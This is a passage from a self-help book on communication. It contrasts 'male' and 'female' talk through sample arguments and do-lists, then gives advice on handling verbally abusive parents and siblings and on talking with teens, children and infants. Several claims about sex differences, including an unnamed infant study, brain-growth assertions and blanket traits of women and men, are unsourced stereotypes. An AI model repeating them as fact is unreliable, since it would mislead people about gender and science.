harassment suits bombarding our courtrooms today? The common denominator of all of these questions is
“lack of communication.” This lack of communication between the sexes is a serious issue, so serious that it
can determine not only the quality of your professional life, but your personal life as well. It can even affect the
seemingly benign things you do on a daily basis and your interactions with people you encounter throughout
the day.
Not knowing how to effectively speak and understand employers, employees, and co-workers of the opposite
sex can make the time you spend at work “hell on earth.”
Learning to Be Bilingual
Perhaps the people who have the best opportunities in life are those who know another language. I know this
first-hand. Understanding and speaking languages other than English has proven to be invaluable to me in my
personal and professional life. Even understanding certain dialects and slang words and expressions among
young people has helped me, as I mentioned earlier in this book (see “Bingo! You Got the Lingo!” in Chapter
9).
What has been the advantage of knowing these different languages, aside from allowing me to order a meal, get
appropriate hotel service, and understand spoken direction (so I don't get lost) in another country? Knowledge
of these languages has helped people to relate to me more quickly and to have immediate affection for me,
unless of course I'm yelling at someone who has been totally mean and obnoxious to me. Similarly, when
women learn to speak “man talk” and men learn to speak “woman talk,” suddenly there is more affection,
camaraderie, communications, friendships, and more exciting intimate relations.
Throughout the rest of the chapter you learn how to speak one another's language and decode the signals, so
that you never again have to worry about being misunderstood.
Page 177
Once Upon a Time There Was an Infant Boy and Girl
Men are raised differently than women are—yes, even in this day and age when we are supposed to be more
sophisticated and aware. We clearly see this difference in people as early as infancy. For example, in a study at
an Ivy League university, men and women were put into a room with infant boys and girls. Before entering the
room, the men and women were told that the infants were all little girls. As they entered and stayed in the
room, both men and women spoke in a soft voice, making delicate cooing sounds and saying comments to the
infants such as “You're so pretty.” “Look at how beautiful you are.” “You are a little princess.” There was
hardly any physical contact.
Next, these same men and women were lead into another infant nursery, where—they were told—all the babies
were little boys. Upon entering the room and subsequently spending some time there, the behavior of the adults
changed greatly. The decibel level rose. The infants were actually taken out of their cribs and held under their
arms as they kicked the air beneath them. The adults used phrases such as “What a big strong boy,” “You're
gonna grow up to be a football player,” and “Hey, you little pumpkin head.”
More often than not, a parent will tolerate a boy's impoliteness—“Gimme that”—over a girl's impoliteness,
insisting that “little girls don't talk that way and have to say ‘please’ and ‘thank you.’”
There's Only One Brain!
Now of course I have to bring in the other element—not nurture, but the biology of how little boys and girls are
wired neurologically and hormonally. Unlike little boys, little girls have an initial growth spurt in the left
hemisphere of the brain. As a result of this difference in neurological development, they tend to become more
fluent and develop a greater repertoire of speech and language skills than boys. Little boys take about four
years to catch up with this growth spurt. In the meantime, some serious environmental stimulation has taken
place, and little girls get more parental verbal attention because they are more responsive, due to the advanced
growth of their neuroanatomy.
In this case, the behavior of parents corresponds to real physiological characteristics. This is not true in the case
of parents conditioning their sons to be more mechanically and mathematically inclined. The right hemispheres
of boys' brains do not grow more rapidly than those of little girls; the difference is purely environmental. In
fact, I, along with many other specialists in the field, believe that if little girls were equally encouraged in
mechanical and cognitive abilities, we would observe little or no differences between the sexes in this area.

Page 178
What Shall We Talk About?
A major study by Dr. Adelaide Haas at the State University of New York department of Speech
Communication found that the conversation topics most likely discussed among men and women vary greatly.
The following list shows the topics in order, based on gender:
Women Men
1. Men 1. Women
2. Food 2. News events
3. Family relations 3. Sports
4. Clothing 4. Arts
5. News events 5. Sex
6. Work-related issues 6. Work-related issues
Men tend to discuss things and what they did, while women tend to discuss their feelings about what they did
as well as their feelings about other people.
What does all of this mean? It means a lot! It means that when you are around the opposite sex, you will be
more confident in bringing up these topics, as you will establish a communication bond more quickly.
He Says—She Thinks! She Says—He Thinks!
Because there is such confusion in the way men and women speak to one another, a man might innocently say
something to a woman that causes her to fly off the handle. In turn, she might say something that aggravates
him. Both of these people have no
Page 179
clue why the other has gotten so mad at what they said. The man often thinks the woman might just be going
through PMS. The woman, on the other hand, thinks that the guy is just being a jerk. “Who is right? Who is
wrong? What is going on here? First of all, nobody is right! And nobody is wrong! In fact, they are both right!
The man is just talking “male,” while the woman is understanding what he says in “female.” Conversely, the
woman speaks “female” while the man hears in “male.” It's as simple as that! If the man understood her
“female” language and the woman understood his “male” language, I wouldn't be using them as an example in
this book.
Here are five common examples of conversations that are misinterpreted merely because one person doesn't
really understand the other's language. I'm sure that at one point or another, every one of us has experienced at
least one of these situations.
No-No Scenario 1
John (in the living room while Mary is in the kitchen): Hey, Mary, get me a beer!
Mary: Get you what?
John (thinking she didn't hear him, he yells even louder): GET ME A BEER!
Mary: Get it yourself! Who do think I am, your maid?
John (shocked): What is wrong with you? All I asked you was for a lousy can of beer and here you go and
chop my head off!
Mary: Well, I don't appreciate being ordered around like some slave!
John: Who is ordering around? What is this? Do you have PMS or something?
No-No Scenario 2
Ann (wearing a brand new outfit, hair perfectly coifed, and looking stunning): So, how do I look?
Bob: You look nice.
Ann: Nice, what do you mean?
Bob: I mean, nice.
Ann: Well, if you don't like how I look, why don't you just tell me!
Bob: I am telling you. You look nice.
Ann: Look, if you want me to change my outfit I will.
Bob: What are you talking about? What's wrong with you?
Page 180
No-No Scenario 3
Dave (seeing Debra sulking and looking sad): What's wrong?
Debra: Nothing!
Dave: Are you sure?
Debra: Yes. I said nothing's wrong.
Dave: Well, then, how come you are sulking?
Debra: You should know!
Dave: No, I don't know! Tell me!
Debra: Well, if you don't know, I'm not going to tell you.
Dave: If I knew then I wouldn't be asking you.
No-No Scenario 4
Fred: I can't believe the day I had. Everything went wrong—from getting a ticket, to getting reprimanded at
work, to losing an account, to hearing that my cousin John is in the hospital.
Jill: I had an awful day too. I saw so many clients today. I overdrew money in my account…
Fred (cutting her off): Why do you always do this to me?
Jill: Do what to you?
Fred: Compete with me?
Jill: Compete with you? What are you talking about.
Fred: What you said just now, you're competing with me—your day was worse than mine.
Jill: I'm just trying to relate to you and comfort you.
Fred: Well, you're not!
No-No Scenario 5.
Tina: You never call!
Jack: Yes, I do.
Tina: No, you don't, and you never surprise me with flowers or any gifts!
Jack: What did I do for your birthday?
Tina: That was a year ago! Two years ago you got me a junky bracelet. You didn't even bother to get me
anything on Valentine's day four years ago. You never even remembered my birthday!

Page 181
Jack: That was in the past. Why do you always have to bring up the past?
Do any of these scenarios sound familiar to you? If they do, you are definitely not alone. These scenarios typify
the common miscommunication between men and women. Either sex might think they are being kind or
neutral, but in reality they are perceived as mean, bitchy, unreasonable, and insulting. The following section
gives a translation of what was really meant to be conveyed in each of the scenarios.
He Says—He Means! She Says—She Means!
In Scenario 1, when John says “Get me a beer,” Mary interprets that as being ordered around, feeling that John
is insensitive to the fact that she too just came home from a hard day's work. When he repeats it again, in an
even louder voice, Mary is furious and lets him have it by telling him to get it himself while using a huffy and
upset voice. John is totally confused about what happened here. His only explanation is that Mary must be
tense due to pre-menstrual syndrome. Unknowingly, John created this situation, which results in both parties
being upset.
Scenario 1
Shoulda Said
Had he said “Honey, would you mind please getting me a beer since you're at the refrigerator? I'd really
appreciate it,” none of this would have happened.
Bottom line solution: Don't talk in command terms!
Scenario 2
Shoulda Said
In Scenario 2, when Bob answers Ann's question about how she looks with the bland and benign word “nice,”
Mary thinks that he doesn't like what she's wearing or how she looks. His one-word response with this vague
word really didn't satisfy her insecurities and, more important, her desire to have Bob think she looks beautiful
and sexy.
Had Bob said “Honey, you look [phenomenal, gorgeous, beautiful, sexy, fantastic]” (take your pick), Ann
would have felt great, thereby boosting her confidence, especially her confidence about how Bob saw her. She
would have felt wonderful because she was able to provide Bob with something pleasing to his eyes. Had he
gone on to explain in more detail why she looked so gorgeous (for instance, “Your hair looks so shiny and
silky and that color brings out the green in your eyes”), she would have felt even better.
Bottom line solution: Use more descriptive adjectives. Never use average or bland words.

Page 182
Scenario 3
Shoulda Said.
Had Debra honestly opened up and told Dave what was the matter, he would not have become so frustrated
with her. He felt hopeless and confused, emotions that subsequently turned into anger.
Bottom line solution: Don't think that the other person is a mind reader. Open up and say what's on your mind.
Scenario 4
Shoulda Said
Had Jill not told him about her day, immediately after Fred poured his heart out to her, he would not have
become irritated with her. Innocently, Jill was just trying to make him feel better by sharing with him that he
wasn't alone and that she too had a bad day. She was trying to be empathetic; Fred interpreted this as her being
competitive with him, being insensitive to his distress, ignoring his feelings, and not providing him with the
sensitivity and nurturing he needed.
After Fred verbally unloaded his burden, Jill needed to say something like “Oh, I'm so sorry, you must feel
awful. What happened when you got the ticket?” She could have asked him to give her more detail about
anything else that upset him about his day. That way, he would think that she really cared and was greatly
concerned about him.
Bottom line solution: Listen to a problem. Be sympathetic and ask questions (in kind tones) to further explore
the person's problem so that he or she can vent further. Never talk about what's bothering you and your
problem until after you have completely addressed his.
Scenario 5
Shoulda Said
Had Tina not started out the conversation accusing Jack, he might have been less defensive and less closed off
to her plight. To top it off, she brings up things from the past that have nothing to do with what's going on in
the present. Because of her accusations and whining, he probably never feels like getting her a gift, or for that
matter, even seeing her.
Tina needed to start the conversation saying something to the effect of “It really hurts my feelings” or “It really
makes me sad when I don't get a gift from you as a token of how you feel about me.” Jack probably would have
answered with “Oh, I am so sorry, you know I love you. It's just hard for me to pick out gifts. I wasn't raised
with gift giving, so it's not important to me. But since it means a lot to you, I'll be more conscious of it.” Later
that day or the next day, Tina might indeed be surprised by his token of affection. Instead, Tina put him on the
defensive. And she added insult to injury by bringing up his misdeeds of the past. This further alienated him
and

Page 183
made him feel more defensive and angry. Now he felt like really never wanting to get her anything.
Bottom line solution: Don't accuse. Instead, tell how the situation makes you feel. Secondly, don't bring up the
past.
Oh! So That's What You Meant!
The next two sections explain how to speak “male language” and “female language.” Included are some of the
most common body signals, facial signals, words, phrases, and conversations that are indigenous to each of the
sexes. As was discussed earlier, this has a lot to do with our social conditioning!
Not all males do these typical behaviors, nor do all females exhibit the typical female behavior patterns. What I
discuss in this section is general information, where the psychosocial research done on these areas reflects the
norm—the typical communication pattern used by the general population of males and the general population
of females.
Don't be surprised if you recognize yourself as you read some of the points that are common to a specific sex.
You might see how you have misinterpreted the actions of the opposite sex, thereby causing yourself
unnecessary emotional pain, frustration, and aggravation. On the other hand, perhaps there are several
behaviors you don't do—this indicates that you either were raised with a better understanding of how to
communicate with the opposite sex, or learned by experience. Now is your opportunity to learn everything you
didn't know before about the main points indigenous to the communication skills of the opposite sex.
Basic Male 101
This section lists typical male communication patterns—some of the key things men communicate and how
they may be misinterpreted. A woman's knowledge of these patterns will help her to realize that men's
seemingly rude, distant, or obnoxious behavior is not that at all. In their innocence, men are just speaking
“male.”
Body Language:
1. Taking up more space. Perception: they are hogging space and trying to take over.
2. Sitting further away. Perception: they don't like the woman.
3. Gesturing with their fingers, often pointing their finger. Perception: they are admonishing you.
4. Fidgeting and shifting their bodies more than women do. Perception: they are not interested or are anxious to
leave the situation.

Page 184
5. Assuming a more reclined position when sitting or leaning back when listening. Perception: they are being
judgmental.
Facial Language:
1. Cocking their head to the side and looking at the person at an angle while listening to them. Perception: they
are being judgmental or disinterested.
2. Frowning and squinting when listening. Perception: disapproval.
3. Using little eye contact in positive interaction. Perception: they are disinterested and distant.
4. Providing fewer facial expressions and fewer reactions than women when listening. Perception:
disagreement or disapproval.
5. Avoiding eye contact and not looking directly at the other person. Perception: disinterest or dislike.
Speech and Voice Patterns:
1. Interrupting and allowing fewer interruptions from others. Perception: they regard the other person as
unimportant or not knowledgeable.
2. Using less intonation or vocal inflection. Perception: disinterest, disapproval, apathy, and dislike for the
other person.
3. Allowing more silence during conversation lulls. Perception: they have nothing more to say and want to end
the conversation.
4. Giving more command terms. Perception: they are acting with hostility.
5. Using fewer emotional state verbs (such as “I feel,” “I hope,” “I love”). Perception: they don't care and are
insensitive.
Communication:
1. Teasing more, playing practical jokes, and using sarcasm as humor (often making a joke out of “sensitive”
issues). Perception: acting in a hostile way and not liking the woman.
2. Apologizing less often after an argument. Perception: being stubborn and uncaring.
3. Liking to hear accolades about themselves and talking more about their accomplishments. Perception: they
are being egomaniacal.
4. Confronting issues less. Perception: being uncaring and disinterested and purposely hurting the woman.
5. Disclosing less personal information. Perception: they are hiding something, being dishonest (possibly
cheating).
Page 185
6. Invading one's personal space more than women do. Perception: being obnoxious and trying to be
intimidating.
Basic Female 101
Before a man thinks that the woman is driving him nuts or just having PMS, here are some common
communication actions that typify women's communication patterns. Knowing about them can save the male a
lot of unnecessary grief and nurture a more positive and upbeat—and in turn, healthy—relationship.
Body Language:
1. Assuming a more forward position than men when sitting or listening, and leaning forward. Perception:
caring a lot about what is said; extreme interest.
2. Having a weaker handshake. Perception: being weak and powerless.
3. Sitting closer to men. Perception: the woman really likes the man.
4. Taking up less physical space, and sitting with arms and legs towards the body. Perception: being inhibited
and submissive.
5. Sitting directly in front of a man, and having forward face-to-face contact. Perception: being extremely
interested in the man or being forward. It can also be misconstrued as an uncomfortably confrontational act.
Face Language:
1. Nodding head “yes” even when not in agreement. Perception: Wanting to be liked and accepted.
2. Lowering their head during every negative confrontation. Perception: being weak and submissive.
3. Providing more animated facial expressions during conversation. Perception: being overly emotional.
4. Eyes facing the person directly when speaking. Perception: being forward or even invasive.
Speech and Voice Patterns:
1. Allowing more interruptions. Perception: being weak.
2. Ending sentences with a rising pitch, adding a tag ending to a declarative statement, or asking a question
when it calls for making a statement (for example, “It's a nice day?” or “It's a nice day, isn't it?”). Perception:
being uncertain, weak, not powerful, and not in control.
3. Using more intensifiers such as “very,” “really,” and “much.” Perception: being overly effusive and
exaggerating, and being more emotional.
Page 186
4. Saying more words per sentence or thought. Getting very detailed and taking a long time to get to the point.
Perception: being unprofessional, wasting time, being thoughtless, scattered, and frivolous (this usually creates
the reaction of impatience).
5. Often having voices that are too high, breathy, and little girl-sounding. Perception: being a lightweight, less
bright.
Communication Patterns:
1. Tending to take rejection more personally. Perception: being overly sensitive.
2. Not laughing at or responding favorably to practical joke and cutting sarcastic humor. Perception: having no
sense of humor.
3. Trying to match troubles by relating similar experiences. Perception: competing with the man or trying to
top him, and not listening to or caring about what he says.
4. Confronting issues and situations more than a man would. Perception: being nagging or harping on the past
(this often makes the man feel angry and defensive).
5. Censoring thoughts less than men and communicating more through stream-of-consciousness. Perception:
being ditsy, spacey, or flighty.
See What I Mean?
In looking at the differences in the preceding section, it is no wonder that men and women are always at one
another's throats. Little wonder that these misinterpretations of the male and female language result in
explosions of tempers and devastation of feelings. It is sad and, when you think about it, also rather amusing. If
we had the key to unlock the box of mysteries about how the opposite sex communicates, there would be less
divorce, fewer sexual harassment suits, and much less ill will between one another. Now you have some of the
tools right at your fingertips.
The next section lists several easy steps men can take to immediately improve their relationships with women,
and women with men. I have chosen only some points for each sex, since they represent the differences leading
to the most common misunderstandings.
Note than I am not trying to turn men into women and women into men! I am just giving you some things to do
if you want to modify your communication patterns when you deem it necessary, in order to get along much
better. Of course, these are only suggestions, but rest assured that if you do employ them, you might see some
amazing and instant results.

Page 187
What Men Need to Do
1. Stop making commands. Make requests instead.
2. Always use the words “please” and “thank you” whenever making a request. Use terms of politeness as
often as possible.
3. Use more psychological state verbs to express how you are feeling.
4. Don't be embarrassed to ask for help as soon as possible.
5. Don't use sarcastic or cutting humor.
6. Don't interrupt.
7. Don't take up so much room physically.
8. Have more enthusiasm in your voice. Don't wear your emotions on your sleeve. Instead, wear them on your
vocal tones.
9. Don't lecture someone—have a dialogue and not a monologue.
10. Look at a person face to face when speaking.
11. Use more descriptive adjectives.
12. Don't frown when listening.
13. Show more emotional reaction in your face when you speak and listen.
14. Open up more—don't use one-word responses to answer questions.
15. Don't keep changing topics midstream in a conversation a woman brings up.
16. Stop fidgeting and rocking back and forth.
17. Disclose more personal information about yourself.
18. Don't point your finger at people when talking to them, especially when you want to express a point.
19. Apologize immediately if you have done something wrong.
What Women Need to Do
1. Get to the point—stop beating around the bush.
2. Never cry in a work situation when frustrated, no matter what.
3. Never use tag endings or make a statement as though it sounds like a question.
4. Never match experiences or tragedies. Listen and sympathize instead.
5. Lower the pitch of your voice and talk louder.
Page 188
6. Don't hold grudges.
7. Don't apologize if you haven't done anything wrong.
8. Don't accuse or you'll always lose! Ask instead!
9. Think about what you are going to say and are saying. Edit and don't say everything that comes into your
mind.
10. Don't shake your head “yes” (indicating agreement) just to be polite, when you really disagree or aren't
interested.
11. Take up more physical space and move around more when you speak.
12. Stay in the present. Don't bring up the past when arguing about an issue at hand.
13. Speak up in terms of what's bothering you. After all, the other person is not a “mind reader.” You have to
clearly state what's bothering you and stop playing the guessing game with him.
14. Disclose less personal information about yourself.
15. Be more open to “male humor.” Even if you can't relate to it, don't dismiss it or chastise men for using it.
16. Bring up more male-oriented topics.
17. Make fewer tentative statements that indicate “I'm not sure” or “maybe.”
18. As impossible as a task might seem, try not to take criticism and rejection personally, in a way that affects
your self-esteem, security, and subsequent performance.
19. Speak in more modulated tones, so that you don't give the illusion of being out of control emotionally.
20. Try not to giggle or laugh all the time, especially when you are feeling nervous and uncomfortable.
Saving You a Lot of Grief!
Incorporating the majority of these points, where appropriate, may help you in all aspects in your life where
you need to communicate effectively with the opposite sex—from the boardroom to the bedroom. Sometimes,
when you are fully aware of these differences, you no longer get upset, irritated, hurt, or confused by what the
other said. Instead, you now know that it's just “male talk” or “female talk.” You have the option of doing
something about it or doing nothing.
The basic message of this chapter is that just being aware of these differences can make you laugh, chuckle,
smile knowingly, or shake your head. Now you know for sure that
Page 189
what is being said by the opposite sex is not intended negatively or meant to irritate you, intimidate you, or hurt
your feelings.
Therefore, you won't get angry, cry, feel sad and depressed, or jump to conclusions that have no basis
whatsoever! If you take advantage of everything in this chapter pertaining to your new-found understanding of
the opposite sex, you'll save yourself an enormous amount of grief!
Page 191
Chapter 15
Blood Is Not Always Thicker Than Water!
Just because people are related to you doesn't mean you have to take their verbal abuse. You might say, “Well,
after all, it's my mother (or father); it's my flesh and blood.” Although this is true, there are some family
members who can make your flesh crawl and make your blood boil. Even if someone happens to be a family
member, you still need to protect yourself against his verbal venom, which, as we discussed earlier in the book,
could even be life-threatening. Now you have choices! You can use different techniques on different family
members—whichever is most likely to work. The purpose of the general technique is to get you the results that
you need to establish a harmonious and peaceful relationship with people to whom you are related.
Defense Against Verbally Abusive Parents
When your parents verbally abuse you, your first instinct is to say or do something to stop them, but then you
might hold yourself back, reasoning that after all, they are still your parents.
Page 192
While all religious teachings encourage honoring your father and mother, clearly some parents have no
business becoming parents. Such parents physically, mentally, and emotionally abuse their children to the point
that they inflict painful, severe, and irreparable damage on their offspring. This verbal abuse doesn't occur only
in childhood—it is carried on into teen and adult years.
Long-Lasting Effects
This damage is so lasting that I have seen the devastating results in my own private practice. In fairness to the
parents, most do not mean to become verbal terrorists. Often a continuous legacy of verbal abuse exists: They
learned it from their parents, who in turn learned it from their parents, and so forth. Sometimes parents will
make fun of their child without even realizing the comments' devastating and lasting impact on their children's
psyches.
Your Best Bet!
Parents' most common crime is to be the accusing critic or cut down their child constantly, even to point where
they are unaware of it, and it becomes second nature.
If this has been done to you, you should use the Direct Confrontation technique discussed in Chapter 11 to help
heal your emotional wound. Your parents need to be told directly and bluntly that what they are saying is very
hurtful to you and that you would appreciate if they did not “get on your case” all the time.
Most parents react well to this approach, which needs to be repeated on a number of occasions. In essence, you
have to recondition them. Old habits and ways of talking are hard to break. So when your parents do the same
thing again and again, don't just get angry—continue to use direct confrontation. The more often you set limits
with them, the more your request will be ingrained into their minds.
The reason most parents nag you is not because they mean to hurt you. In fact, they want the best for you and
only have your interests at heart. But many parents don't know how to express this. It takes time and patience to
establish boundaries and new ground rules for any relationship. Therefore, in addition, to the Direct
Confrontation Technique, try using the Tension Blowout Technique to help you to become more non-reactive.
The Tension Blow-out Technique is when you breathe in through the mouth as you think of a tension
producing situation or a verbally abusive or toxic person. You hold the breath in for five seconds and then with
all your might, BLOW out the air as forcefully as you can while thinking of that person. Your goal is to not
allow your parents to “push your buttons,” which causes you to react in your usual manner of either harshly
lashing back or holding it in so much that you suffer.

Page 193
If after reading this section you realize that you are a verbally abusive parent, stop this behavior immediately.
Use the breathing technique you learned about earlier. Breathe in, hold it, and then speak. This technique
allows you to have more control over what you say to your child and how you say it.
This technique is merely the one you start with. Depending on what type of verbal abuser your parent is,
however (which you will learn about in the next two chapters), your parent might require additional
approaches. For example, if your parent refuses to listen, verbally abuses you, and even physically abuses you,
in such a harsh and continuous fashion, you may have no choice but to use the Unplug Technique.
Sometimes it is effective for a little while. Your total unplugging from them can be so painful for them that for
the first time they might actually hear your pain and stop contributing to it. In other cases, the scars are so deep
and the abuse is so bad that you will need to let go forever!
Defense Against Verbally Abusive Siblings
Brothers and sisters probably cause one another more emotional pain and agony than anyone else. This is the
result of the competitive element common between siblings.
Too Close for Comfort
Why are siblings so competitive? Perhaps they are living proof of the old adage that “familiarity breeds
contempt.” Each sibling thinks he or she knows the other quite well, and, consequently, they often assume that
their own values and wants are the same as their sibling's. This is the main reason brothers and sisters get on
one another's nerves. They inevitably do things differently, and one sibling might lose respect for another,
thinking the other is doing it wrong. Therefore, a fight ensues; one constantly puts the other down, creating an
uncomfortable and hostile environment.
Page 194
Your Best Bet!
Perhaps the best technique to use with your verbally toxic siblings is humor. This might take the edge off of
things and allow them to see the light. If humor doesn't work, the Love and Kindness approach can be very
effective. In this approach, you confront them directly, letting them know how much their words and actions
hurt your feelings and how much you care about them and don't want anything to come between the two of
you.
If the verbal fighting won't stop and gets so intense that it leads to blows and physical fighting, you need to
“unplug,” usually for an extended period of time. Siblings often desperately need time apart in order to
regroup. In some cases, they come to see how empty their lives are without one another, and they reunite with a
newfound mutual respect. But it can take days, months, or even years of separation for siblings to overcome the
emotional hurt and pain created by verbal and even concomitant physical abuse.
More rarely, the damage is irreparable and there is no hope. Even siblings who have applied all of the
techniques mentioned in Chapters 10 and 11, and have “unplugged” for a while might still resume their same
behavior when they come back together. For the sake of the mental (and physical) health of both parties, they
need to go their separate ways permanently.
Verbal Defense with Teens
It is not uncommon today to hear teens freely mouthing off at their parents, or at anyone else for that matter—
teachers, service workers, anyone who stands in the way of them doing whatever they want to do. When they
are restricted from doing what they want to do, they usually rebel.
In the “Talk Back!” section that follows, you will see a conversation that has occurred in most households.
What are parents to do when their teen speaks to them so abusively? The answer is simple: Don't ever allow
them to. The first time you hear your teen talking this way to you should be the last time. You need to nip it in
the bud and be consistent as a parent.
Page 195
Talk Back
Mom: Tom, I want you to clean your room. It's a mess.
Tom: I don't wanna.
Mom: Okay, then you aren't leaving this house until you do.
Tom: But I have to meet everyone at two o'clock for a ballgame.
Mom: Too bad. Until I see a clean room, you're not going anywhere.
Tom: (extremely angry): *&^$@ #&%!!!!!!
Mom: No way will you ever use that language in this home, ever! [Said using
the Give 'Em Hell and Yell Technique.]
Do you understand? Never talk to me like that. Show some respect! Do you
know how it makes me feel when you talk to me like that? [Direct Confront
Technique.]
It hurts me so deeply. I have tried my best for you in every way and I have
enough self-respect that I cannot allow you to speak this way, to me under any
circumstances! How would it make you feel if I spoke like that to you, especially
in front of your friends? How would you feel if I constantly talked trash to you
and treated you like dirt—as though you were worthless and unimportant to me?
[Calm Questioning Technique.]
I love you so much and want you to grow up to be as wonderful as you really are
inside. I asked you to straighten up your room, not to be mean or unreasonable. I
want you to live in a pleasant environment, with order and no chaos, so that you
can find things and enjoy where you live. I want you to develop good habits that
you can carry with you in college and as an adult. Please don't disappoint me and
hurt me by talking to me like that when I am trying my best to give you
everything I can as a parent. [Love and Kindness Technique, said in a soft and
loving tone.]
This dialogue illustrates the combination of verbal self-defense techniques, including Give 'Em Hell and Yell,
Direct Confrontation, Calm Questioning, and Love and Kindness. One or more of them can be used to get your
point across. Chances are that if you use these techniques, your teen will hear what you are saying. One of
these ways will be the key to unlocking communication with them. They have to know that you will not
tolerate them throwing verbal trash at you!
Trash Talkin' Teens
Just listen to some of the music teens listen to. Listen to a phone conversation or a face-to-face conversation
they are having with their friends. You'll be quite shocked—things aren't the same as when you were growing
up! In the past few years, teens have heard so many obscene words in songs and films that the words have no
effect on them at all. They speak in curses as though they are saying something as benign as “how are you
doing?” For instance, the “f” word, which we used to regard as extremely vulgar and offensive, is now used in
a number of ways. Sometimes it is used as a noun,
Page 196
for something pleasant (“Did you hear their new CD? Those f—ers were great!”) or unpleasant (“I'm gonna get
that little f—er”). Similarly, as an adjective, it can also be used either negatively (“Get your f—ing car out of
here”) or positively (“Your f—ing car is awesome”).
Whether a teenager uses the term in positive or negative way among his or her teenage peers, however, the
term is socially unacceptable to others. In fact, consistently using this term outside of their own little world can
create such a negative image that it affects their potential employment and social interaction.
The bottom line is that teenagers mustn't use this kind of talk in your home. They need to be conditioned to this
fact the very first time you hear them use obscenities. If they have already gotten in the habit of cursing and
you failed to condition them initially, you need to start doing so right away. Of course, it might take a little
longer to get the message through to them, but if you maintain your consistency, it will eventually sink in.
Expect to Hear This from Your Teen
Following is a list of common teenage concerns that parents have to learn to address effectively. Don't freak
out and get mad or flabbergasted—handle it! Be in control! You now have choices to make concerning which
verbal defense strategy you plan to employ.
I can't tell you exactly what to say, because for all I know you might say “Go ahead take the car” or “Here's
$1,000, go have a ball!” or “What kind of liquor can I get you?” If you need to contest their request, however,
your best bet is to use the Direct Confrontation, Calm Questioning, or Love and Kindness techniques.
• I want to drive.
• I want to date.
• I want to stay out late.
• I want to hang out with my friends.
• I need money.
• I need the latest style clothes.
• I need more computer stuff.
• I need stereo equipment.
• I want the right gym shoes, and I don't care about the price.
• I want to sleep over at a friend's house.
Page 197
• I don't want to study.
• I want to see that movie—I don't care about the rating.
• I got wasted (drunk).
• I like doing drugs.
• I am ugly.
• Everyone hates me.
• You're always picking on me.
• Nobody asked me out.
• Everyone I asked out said “No!”
• I hate school.
• I hate YOU!
Verbal Defense with School-Aged Kids.
Children often become obnoxious as they try to push the envelope to see how much they can get away with.
They may become verbally belligerent, speak in “street” (verbally incorrect and accented) language, or curse in
order to fit in.
Best Bet: Set Limits Immediately!
If you don't set limits at this crucial age, you might never have the chance to do so again! This bad verbal
behavior can become so ingrained in them that it will become difficult to control. The techniques used with
teenagers are also effective with school-age children. Their reasoning powers may not be as highly developed,
however, so you might want to communicate with them so that they can really “hear” you. They need to be
corrected (not in a negative way but in a positive and upbeat way), reinforced, and encouraged to repeat the
correct form of speech after you. Even if they don't repeat the word, they will still be learning the correct usage
by hearing you say it over and over; you will subconsciously ingrain positive verbal habits in them.
Parental Verbal Control
While it is good to have verbal control by repeating the correct form of the word—correct grammatical form or
pronunciation—don't overdo it!
Every child stutters or stammers while developing speech and language, so don't go nuts if your child does this.
It has long been said that “stuttering
Page 198
begins in the parent's ears.” In other words, don't make children nervous when they talk or ever tell them to
shut up or to “slow down.” Instead, let it go by and repeat correctly what they were going to say.
Sometimes in frustration, when a parent is angry, he or she tells children how stupid they are or that they are no
good. No matter how angry you get as a parent, be aware that if you say these horrible words, the consequences
of your actions will be serious. As I said earlier, “words stick.”
You are doing your child a huge disservice. In essence, you are robbing your child's self-esteem and
contributing to the destruction of her self-worth. If you are using this method as a way of controlling your
child, find another way. You are playing with fire. It can be extremely dangerous!
Best Bets: Ask Your Child If She Wants to Go Somewhere with You
Respect them. Don't drag them along! If they don't want to go, let them know that it would mean a lot to you if
they came, and that you enjoy their company. Just showing them this bit of respect changes their entire
outlook. They no longer see it as an obligation, but as being needed, wanted, and important. If they really don't
want to go, you'll save both of you a lot of grief by letting them stay at a friend's house or hiring a baby-sitter.
Often the word “baby-sitter” cures their attitude, and suddenly they want to come along!
People hunger their entire lives for the words “I'm sorry” from a parent who wronged them. A common wish
for many patients who consult with health care professionals is the following statement: “If only they (one or
both parents) would have apologized for what they did. That would have made all the difference.”
Verbal Defense with Pre-Schoolers
This section explains how to communicate with pre-babies, infants, toddlers, and young children. You learn
what to say to them and how to say it, factors that are crucial during their period of speech and language
development. You even learn how to effectively respond to their sometimes-aversive communication patterns.
Verbal Defense in Utero
I firmly believe that verbal stimulation of the fetus in the third trimester (months 7, 8, and 9) is crucial to preinfants
developing communication skills.
Page 199
The same holds true for voices. When a father speaks to an infant by placing his mouth near the mother's belly
and talking, the infant is able to recognize the father's voice as distinguished from other voices. Considering all
the new information continuing to come to light, I recommend that you play it safe and talk to the developing
person in your womb. Speak in soft, well-modulated tones. The infant might experience greater calmness as it
enters the world. Who knows? Perhaps by doing this, you are creating a calmer and less stressed person.
Verbal Defense with Infants and Toddlers.
Don't talk to your infants as though they are idiots. Their receptive skills have the potential to grow
exponentially, but this depends on how much you communicate with them and thus verbally stimulate them.
Not doing so can retard their speech and language development. That doesn't mean sounding like a rocket
scientist or teaching them quantum physics. It does mean speaking to them in complete sentences that are
appropriate to the situation.
For example, if your baby is eating, say “I'm putting your food on a spoon. Good baby. You ate all your food.
Here is some milk.” Even though babies can't answer you in complete sentences, you will be surprised at how
much they will understand. And with you and your family's constant verbal stimulation, their vocabulary and
their ability to communicate will increase. The more able they are to communicate, the more interaction they
will have with the people and the world around them. The results? A happier and less frustrated little person.
Terrible Twos Are Verbally Terrific!
Two-year-olds say “no” all the time, and this usually makes parents crazy. Despite the phrase “terrible twos,”
however, this time is not terrible when it comes to verbal development—it's a great time. Instead of getting
frustrated when they say “no,” get
Page 200
happy. For the first time, children are asserting themselves and making decisions. Encourage them with
affection and kind words. If you really want them to do something and they strongly resist, this could be the
opportune time to teach them about rejection and not getting everything they want. In calm tones, explain why
they can't do something.
Respect them! Correct them! But don't do it in harsh tones. As they become more verbal and understand more,
repeat what they said correctly. Reinforce the good and correct the bad with love and kindness as you ask them
to repeat correctly.
Talking to Children Who Act Out Verbally
Children usually act out when they are angry at something that just happened or continues to happen, harboring
emotional pain. They also act out to test the limits of what you will and will not tolerate in their behavior.
Like when communicating with teens, with children you need to set limits immediately. They have to know
right away that you are in control. Unlike teens, however, many children are too young to follow a reasoning
process. What might work best, therefore, is a combination of Direct Confrontation and Love and Kindness.
These techniques often produce guilt feelings in the child, as they begin to distinguish right from wrong and
learn what they can and cannot say to you.
Children need to learn early on in life that there is a cause and effect for everything they do or say. They will
learn that hurtful or nasty things they say can evoke negative reactions and consequences. Either they will hurt
